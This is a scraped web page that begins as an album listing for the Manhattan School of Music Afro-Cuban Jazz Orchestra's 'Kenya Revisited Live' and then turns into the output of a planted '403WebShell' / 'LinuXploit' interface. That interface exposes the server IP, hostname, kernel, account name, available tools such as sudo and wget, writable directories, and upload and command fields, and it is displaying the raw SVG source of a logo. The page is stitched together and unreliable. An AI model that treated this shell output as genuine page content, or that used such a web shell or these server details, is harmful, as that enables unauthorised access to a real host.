Manhattan School of Music Afro-Cuban Jazz Orchestra Conducted by Bobby Sanabria Kenya Revisited Live

Tracklist

  1. Intro
  2. Frenzy
  3. Congo Mulence
  4. Kenya
  5. Oyeme
  6. Holiday Holiday
  7. Cannonlogy
  8. Wild Jungle
  9. Blues a la Machito
  10. Conversation
  11. Theme And Variations On Tin Tin Deo
  12. Tin Tin Deo
  13. Minor Rama
  14. Turarato

Personnel

Musicians:
Bobby Sanabria – Conductor, Drums, Timbales, Vocals, Arrangement Supervisor

Special guest soloist:
Candido – Congas

Saxophones:
Justin Janer – Lead alto
Vince Nero – 2nd alto
Pawan Benhamin – tenor
Michael Davenport – tenor
Michael Sherman – baritone

Trumpets:
Michael Taylor – lead
Jimmie “J.J.” Kirkpatrick
Anthony Stanco
Jonathan Barnes

Trombones:
Timothy Vaughn – lead
Felix Fromm
Nate Adkins
Timothy “T.J.” Robinson – bass

Electric/Acoustic Bass:
Billy Norris

Piano:
Christian Sylvester Sands

Drums:
Normans Edward
Giancarlo anderson
Jake golblas
Cristian Ribera
Obanilende

Additonal Notes

This recording celebrates with new arrangements, the 50th Anniversary of the legendary Kenya album by the founders of the Afro-Cuban Jazz movement, Machito & His Afro-Cubans.

The CD is a prelude to the 4 hour PBS documentary, LATIN MUSIC U.S.A. – premieres on PBS and the BBC in October and features Mr. Sanabria and Candido in the first episode.

Mr. Sanabria conducts and is featured on drums and timbales on several tracks, while legendary NEA Jazz Master, Candido, who played on the original Kenya, is featured on several tracks.

403WebShell
403Webshell
Server IP : 23.235.221.107  /  Your IP : 216.73.217.43
Web Server : Apache
System : Linux drums.jazzcorner.com 4.18.0-513.24.1.el8_9.x86_64 #1 SMP Mon Apr 8 11:23:13 EDT 2024 x86_64
User : bsanabri ( 1025)
PHP Version : 8.1.34
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bsanabri/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/bsanabri/public_html/logo-imh.svg
<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 15.0.2, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="418px" height="108px" viewBox="0 0 418 108" enable-background="new 0 0 418 108" xml:space="preserve">
<g>
	<path d="M293.28,5.757l-2.64,10.895h8.851l-2.201,9.176h-8.891l-1.289,4.971c-0.282,1.26-0.527,2.179-0.669,2.902
		c-0.25,1.486-0.968,3.265,1.558,4.523c1.254,0.625,4.851,0.522,7.598,0.187l-4.777,9.364l-4.066,0.162h-3.749
		c-3.933,0-6.715-0.914-8.345-2.501c-1.262-1.216-1.891-3.14-1.891-5.77c0-1.477,0.271-3.499,0.814-6.062l1.988-7.776h-5.108
		l2.159-9.176h5.232l1.646-7.089L293.28,5.757z"/>
	<path d="M249.614,15.847c3.499,0,5.851,0.249,8.034,0.751c2.186,0.498,3.939,1.292,5.266,2.377
		c2.174,1.806,3.749,4.497,3.749,8.321c0,3.195-0.762,6.333-2.176,9.357c-2.297,4.906-5.745,7.627-9.854,9.582
		c-3.216,1.522-9.312,2.617-13.495,2.461c-4.184-0.153-5.989-0.386-7.798-0.815c-1.808-0.43-3.721-1.298-5.065-2.298
		c-2.369-1.715-3.925-4.151-3.925-7.954c0-3.434,0.471-6.1,1.905-9.469c1.325-3.085,3.756-5.987,6.057-7.726
		c2.088-1.586,4.488-2.723,7.205-3.407C242.234,16.344,245.354,15.87,249.614,15.847z M247.454,24.51
		c-2.955,0-5.582,1.395-7.146,3.611c-1.306,1.848-2.242,4.251-2.242,6.642c0,3.434,1.846,5.152,5.542,5.152
		c2.91,0,5.528-1.437,7.115-3.654c1.303-1.846,2.282-4.363,2.282-6.73C253.006,26.118,251.128,24.553,247.454,24.51z"/>
	<g>
		<path d="M116.732,16.669l-7.565,31.099H96.259l7.564-31.099H116.732z"/>
		<path d="M114.551,2.037c1.758,0.086,2.984,0.643,3.867,1.679c0.88,1.039,0.985,2.406,0.927,3.683
			c-0.314,2.242-1.109,3.581-2.916,4.962c-2.029,1.388-3.652,1.914-6.405,1.661c-1.752-0.16-3.212-0.924-3.94-1.814
			c-0.729-0.891-1.074-2.228-0.915-3.643c0.161-1.414,0.897-3.123,2.684-4.597C109.638,2.494,112.527,1.938,114.551,2.037z"/>
	</g>
	<path d="M134.649,16.649l-0.592,2.705c2.69-1.709,4.547-2.473,6.465-2.965c2.098-0.538,3.744-0.662,6.373-0.578
		c3.172,0.102,5.347,0.786,7.398,2.143c1.805,1.347,2.926,2.993,3.112,5.542c0.058,1.769-0.581,4.433-0.581,4.433l-4.773,19.839
		h-12.707l3.787-15.61c0.37-1.782,0.597-2.692,0.677-3.488c0.254-2.508-1.706-3.171-4.378-3.171c-2.282,0-5.043,0.764-6.394,2.186
		c-1.129,1.19-1.763,2.973-2.608,6.34l-3.304,13.743h-12.744l7.525-31.119H134.649z"/>
	<polygon fill="#C32227" points="13.774,17.743 95.23,17.699 93.501,26.108 	"/>
	<polygon fill="#C32227" points="1.433,18.898 92.656,28.902 91.037,36.276 	"/>
	<path d="M258.884,54.783L255.206,72.1c1.532-1.315,2.898-2.229,4.097-2.744c1.2-0.514,2.545-0.77,4.042-0.77
		c2.146,0,3.839,0.543,5.083,1.635c1.243,1.09,1.867,2.581,1.867,4.473c0,0.831-0.164,1.993-0.488,3.489l-3.246,15.357h-4.08
		l3.244-15.25c0.198-0.9,0.298-1.656,0.298-2.27c0-1.226-0.383-2.187-1.149-2.881c-0.766-0.692-1.825-1.04-3.178-1.04
		c-1.046,0-2.1,0.217-3.163,0.649c-1.064,0.433-1.956,1.01-2.676,1.729c-0.974,0.974-1.641,2.28-2.001,3.921l-3.218,15.141h-4.055
		l8.246-38.757H258.884z"/>
	<path d="M288.145,68.64c2.92,0,5.192,0.796,6.814,2.393c1.621,1.595,2.433,3.835,2.433,6.718c0,1.93-0.33,3.865-0.987,5.813
		c-0.658,1.946-1.564,3.66-2.718,5.138c-2.811,3.586-6.444,5.38-10.895,5.38c-2.92,0-5.196-0.798-6.827-2.393
		c-1.632-1.595-2.446-3.826-2.446-6.693c0-1.944,0.328-3.891,0.986-5.839c0.658-1.946,1.564-3.659,2.717-5.136
		C279.979,70.505,283.619,68.711,288.145,68.64z M287.387,72.154c-3.226,0-5.757,1.729-7.596,5.189
		c-1.19,2.218-1.785,4.524-1.785,6.923c0,2.054,0.513,3.639,1.541,4.758c0.956,1.028,2.271,1.541,3.946,1.541
		c3.209,0,5.742-1.729,7.599-5.191c1.189-2.217,1.784-4.515,1.784-6.894c0-2.02-0.474-3.573-1.419-4.665
		C290.511,72.727,289.153,72.171,287.387,72.154z"/>
	<path d="M319.001,72.911l-4.027,2.271c-0.055-1.116-0.379-1.932-0.976-2.448c-0.594-0.513-1.504-0.771-2.73-0.771
		c-1.369,0-2.527,0.39-3.474,1.165c-0.947,0.773-1.419,1.729-1.419,2.865c0,0.739,0.315,1.32,0.947,1.743
		c0.63,0.425,1.866,0.878,3.702,1.365c2.145,0.56,3.623,1.24,4.436,2.043c0.811,0.802,1.216,1.985,1.216,3.555
		c0,2.216-0.955,4.254-2.865,6.11c-2.235,2.179-5.093,3.271-8.572,3.271c-2.288,0-4.031-0.515-5.231-1.541
		c-1.196-1.027-2.004-2.703-2.418-5.029l4.217-1.648c0.179,3.244,1.703,4.865,4.569,4.865c1.893,0,3.425-0.621,4.596-1.864
		c0.919-0.974,1.379-2.063,1.379-3.271c0-0.74-0.31-1.317-0.932-1.732c-0.622-0.413-1.87-0.9-3.747-1.46
		c-1.53-0.433-2.62-0.832-3.27-1.201c-0.649-0.37-1.182-0.888-1.596-1.555c-0.506-0.792-0.756-1.696-0.756-2.704
		c0-0.938,0.248-1.924,0.742-2.96c0.497-1.036,1.158-1.951,1.987-2.745c1.82-1.729,4.182-2.595,7.083-2.595
		c1.965,0,3.502,0.333,4.61,1S318.424,71.396,319.001,72.911z"/>
	<path d="M331.363,61.286l-1.676,7.893h6.813l-0.731,3.517h-6.839l-2.489,11.707c-0.342,1.585-0.513,2.73-0.513,3.434
		c0,1.838,1.189,2.756,3.567,2.756c0.776,0,1.759-0.196,2.947-0.594l-1.08,3.405c-1.586,0.452-2.893,0.677-3.921,0.677
		c-1.856,0-3.268-0.415-4.23-1.244c-0.963-0.828-1.446-2.036-1.446-3.623c0-1.26,0.216-2.901,0.648-4.919l2.46-11.599h-3.947
		l0.757-3.517h3.948l1.324-6.216L331.363,61.286z"/>
	<path d="M344.132,69.179l-5.19,24.361h-4.056l5.19-24.361H344.132z M344.51,56.771c0.65,0,1.181,0.206,1.595,0.621
		c0.415,0.417,0.623,0.946,0.623,1.597c0,0.865-0.348,1.644-1.041,2.338c-0.695,0.692-1.482,1.042-2.365,1.042
		c-0.631,0-1.155-0.208-1.567-0.621c-0.416-0.417-0.624-0.947-0.624-1.597c0-0.882,0.343-1.667,1.028-2.354
		C342.842,57.111,343.627,56.771,344.51,56.771z"/>
	<path d="M354.683,69.179l-0.621,2.921c1.532-1.315,2.896-2.229,4.096-2.744c1.198-0.514,2.546-0.77,4.042-0.77
		c2.145,0,3.838,0.543,5.083,1.635c1.243,1.09,1.865,2.581,1.865,4.473c0,0.831-0.163,1.993-0.486,3.489l-3.244,15.357h-4.083
		l3.244-15.25c0.199-0.9,0.297-1.656,0.297-2.27c0-1.226-0.382-2.187-1.147-2.881c-0.768-0.692-1.825-1.04-3.179-1.04
		c-1.044,0-2.099,0.217-3.162,0.649s-1.956,1.01-2.678,1.729c-0.972,0.974-1.639,2.28-1.999,3.921l-3.218,15.141h-4.056
		l5.191-24.361H354.683z"/>
	<path d="M397.813,69.179L392.65,93.54c-0.704,3.279-1.93,5.93-3.678,7.949c-1.315,1.513-2.902,2.691-4.759,3.54
		c-1.802,0.828-3.596,1.244-5.38,1.244c-2.415,0-4.497-0.685-6.245-2.055c-0.72-0.558-1.283-1.181-1.689-1.865
		c-0.405-0.685-0.799-1.678-1.177-2.975l3.975-2.595c0.433,4.002,2.37,6.002,5.813,6.002c2.597,0,4.813-1.19,6.652-3.569
		c1.115-1.423,1.973-3.56,2.567-6.407l0.487-2.244c-2.704,2.36-5.488,3.542-8.354,3.542c-2.073,0-3.911-0.657-5.516-1.975
		c-1.982-1.656-2.975-4.054-2.975-7.191c0-1.928,0.329-3.861,0.988-5.8c0.657-1.937,1.563-3.646,2.716-5.122
		c1.298-1.676,2.885-3.003,4.76-3.974c1.874-0.955,3.747-1.434,5.622-1.434c1.424,0,2.672,0.285,3.745,0.853
		c1.072,0.567,2.05,1.465,2.934,2.689l0.621-2.976H397.813z M386.242,72.126c-3.227,0-5.758,1.731-7.597,5.191
		c-1.19,2.217-1.785,4.534-1.785,6.949c0,2.071,0.504,3.668,1.515,4.784c0.955,1.027,2.279,1.541,3.974,1.541
		c3.209,0,5.741-1.738,7.597-5.218c1.189-2.199,1.785-4.506,1.785-6.921c0-2.018-0.468-3.569-1.406-4.649
		C389.389,72.723,388.026,72.164,386.242,72.126z"/>
	<path d="M164.904,16.655h12.744l-0.488,2.22c2.518-1.446,3.47-1.957,5.069-2.382c2.627-0.699,4.599-0.79,6.527-0.719
		c2.498,0.089,3.879,0.491,5.563,1.241c1.241,0.727,2.243,1.384,3.414,3.056c3.102-2.038,5.211-2.988,7.284-3.583
		c2.186-0.604,4.251-0.727,6.621-0.727c3.303,0,5.931,0.757,7.637,2.104c1.706,1.348,3.135,3.284,3.135,5.892
		c0.072,1.328-0.517,3.749-0.517,3.749l-4.878,20.25h-12.744l3.889-16.413c0,0,0.429-1.906,0.549-2.771
		c0.286-1.852-1.095-2.97-3.641-3.055c-2.408-0.042-4.496,0.434-5.939,2.182c-0.969,1.1-1.294,2.17-2.164,5.125l-3.544,14.951
		h-12.72c0,0,3.688-15.273,3.929-16.483c0.122-0.61,0.413-1.782,0.535-2.705c0.308-1.946-1.234-3.04-3.496-3.13
		c-2.127-0.023-3.934,0.766-5.194,1.875c-1.799,1.583-2.314,4.132-3.095,6.862l-3.271,13.581h-12.703L164.904,16.655z"/>
	<path d="M382.628,16.67l-0.592,2.704c2.688-1.708,4.546-2.473,6.464-2.965c2.1-0.539,3.744-0.663,6.373-0.577
		c3.171,0.1,5.347,0.784,7.4,2.143c1.802,1.347,2.924,2.991,3.11,5.541c0.057,1.769-0.582,4.433-0.582,4.433l-4.772,19.84h-12.707
		l3.788-15.61c0.368-1.783,0.596-2.692,0.677-3.49c0.253-2.508-1.708-3.169-4.38-3.169c-2.281,0-5.042,0.762-6.393,2.185
		c-1.131,1.19-1.762,2.974-2.607,6.341l-3.305,13.744h-12.744l7.524-31.118H382.628z"/>
	<g>
		<path d="M318.776,16.659l-7.565,31.099h-12.907l7.563-31.099H318.776z"/>
		<path d="M316.596,2.027c1.758,0.086,2.984,0.643,3.865,1.679c0.881,1.038,0.984,2.407,0.928,3.682
			c-0.313,2.242-1.109,3.58-2.916,4.962c-2.028,1.387-3.651,1.915-6.403,1.662c-1.754-0.162-3.213-0.925-3.941-1.815
			c-0.729-0.891-1.074-2.228-0.916-3.642c0.162-1.414,0.898-3.123,2.685-4.598C311.681,2.483,314.571,1.928,316.596,2.027z"/>
	</g>
	<path d="M344.632,15.778c3.497,0,5.85,0.25,8.033,0.75s3.94,1.293,5.265,2.38c2.174,1.804,3.749,4.496,3.749,8.319
		c0,3.196-0.76,6.335-2.176,9.357c-2.297,4.907-5.745,7.629-9.854,9.584c-3.216,1.521-9.311,2.616-13.494,2.46
		c-4.183-0.153-5.989-0.387-7.797-0.816c-1.808-0.429-3.72-1.297-5.068-2.296c-2.369-1.715-3.922-4.15-3.922-7.954
		c0-3.433,0.469-6.101,1.903-9.47c1.326-3.085,3.758-5.987,6.06-7.725c2.085-1.588,4.486-2.722,7.203-3.408
		C337.25,16.275,340.372,15.801,344.632,15.778z M342.472,24.442c-2.955,0-5.582,1.393-7.147,3.609
		c-1.304,1.848-2.241,4.251-2.241,6.642c0,3.434,1.847,5.15,5.541,5.15c2.913,0,5.528-1.433,7.116-3.652
		c1.304-1.846,2.281-4.363,2.281-6.73C348.021,26.049,346.145,24.484,342.472,24.442z"/>
	<g>
		<path fill="#231F20" d="M412.528,38.01c0.999,0,1.94,0.274,2.826,0.823c0.889,0.547,1.568,1.286,2.043,2.213
			c0.4,0.798,0.603,1.643,0.603,2.537c0,1.042-0.271,2.01-0.813,2.902c-0.543,0.888-1.274,1.57-2.199,2.05
			c-0.798,0.408-1.642,0.61-2.528,0.61c-1.037,0-2.001-0.27-2.896-0.813c-0.892-0.549-1.577-1.289-2.057-2.223
			c-0.407-0.797-0.61-1.641-0.61-2.526c0-1.054,0.273-2.031,0.82-2.928c0.539-0.88,1.281-1.564,2.23-2.048
			C410.73,38.209,411.593,38.01,412.528,38.01z M412.517,38.966c-1.279,0-2.358,0.443-3.241,1.331
			c-0.427,0.433-0.759,0.936-0.992,1.508c-0.229,0.571-0.345,1.164-0.345,1.779c0,1.266,0.443,2.352,1.337,3.253
			c0.883,0.898,1.94,1.346,3.178,1.346c1.239,0,2.303-0.451,3.186-1.352c0.88-0.898,1.32-1.983,1.32-3.257
			c0-0.865-0.222-1.67-0.666-2.417c-0.425-0.726-1.023-1.289-1.79-1.69C413.902,39.153,413.239,38.987,412.517,38.966z
			 M410.386,46.697v-6.245h1.935c0.668,0,1.146,0.065,1.433,0.196c0.274,0.131,0.493,0.329,0.651,0.596
			c0.159,0.266,0.239,0.567,0.239,0.908c0,0.386-0.093,0.715-0.281,0.989c-0.19,0.272-0.491,0.52-0.907,0.739l1.643,2.817h-1.447
			l-1.455-2.6h-0.525v2.6H410.386z M411.67,43.112h0.415h0.021c0.373,0.026,0.662-0.043,0.872-0.203
			c0.209-0.163,0.311-0.397,0.311-0.705c0-0.375-0.158-0.607-0.476-0.695c-0.094-0.027-0.353-0.041-0.774-0.041h-0.368V43.112z"/>
	</g>
</g>
</svg>

Youez - 2016 - github.com/yon3zu
LinuXploit